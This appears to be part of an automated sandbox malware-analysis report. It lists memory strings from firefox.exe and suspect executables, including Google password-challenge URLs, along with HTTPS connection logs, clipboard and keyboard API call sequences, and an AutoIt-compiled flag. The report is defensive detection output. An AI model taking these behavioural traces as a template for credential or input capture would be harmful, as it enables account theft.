Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000018.00000003.2742255243.000002BA5A163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: ae5cfd188c.exe, 00000007.00000003.2546663307.0000000005715000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2689925143.0000000005531000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A429000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000018.00000002.2794739483.000002BA5544E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: ae5cfd188c.exe, 00000007.00000003.2546663307.0000000005715000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2689925143.0000000005531000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000018.00000002.2794739483.000002BA5544E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/s
Source: firefox.exe, 00000018.00000003.2737226174.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2885242531.000010DF2E030000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2854854049.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2728347300.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000018.00000002.2875505657.000002BA61C29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000018.00000002.2795803239.000002BA555DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A20A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2827730700.000002BA5A4DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/4
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59FAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A20A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860458807.000002BA5D10B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A70A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000018.00000002.2857928108.000002BA5D0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2847205509.000002BA5BE7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2870614524.000002BA61988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000018.00000002.2864606177.000002BA5D4EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2847205509.000002BA5BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000018.00000002.2857928108.000002BA5D0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2791688549.000002BA49A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2870614524.000002BA61990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2791760719.000002BA49A19000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA55443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860458807.000002BA5D10B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2878984131.000002BA61F57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2847205509.000002BA5BE7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2731037127.000002BA5C0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782423918.000001B8C4F1A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784518284.000001B8C5114000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782423918.000001B8C4F10000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2781901454.000001AF5A3B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000016.00000002.2642169411.000001D3456C7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2652441512.000001BD98D80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2791760719.000002BA49A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000018.00000002.2793027167.000002BA4B4E2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2793027167.000002BA4B4BA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784518284.000001B8C5114000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782423918.000001B8C4F10000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2781901454.000001AF5A3B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2782554796.000001AF5A544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: 2ada66c192.exe, 0000000B.00000003.2692799251.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 2ada66c192.exe, 0000000B.00000003.2690178414.000000000108D000.00000004.00000020.00020000.00000000.sdmp, 2ada66c192.exe, 0000000B.00000002.2697938782.0000000001096000.00000004.00000020.00020000.00000000.sdmp, 2ada66c192.exe, 0000000B.00000003.2694374109.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwde

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49898 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006EEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_006EEAFF

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006EED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

11_2_006EED6A

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

11_2_006EEAFF

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006DAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

11_2_006DAA57

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_00709576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

11_2_00709576

System Summary

Binary is likely a compiled AutoIt script file

Source: 2ada66c192.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 2ada66c192.exe, 0000000B.00000000.2593438166.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_47284277-4
Source: 2ada66c192.exe, 0000000B.00000000.2593438166.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0c647206-b
Source: 2ada66c192.exe, 0000001E.00000002.2915748492.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1303e518-c
Source: 2ada66c192.exe, 0000001E.00000002.2915748492.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 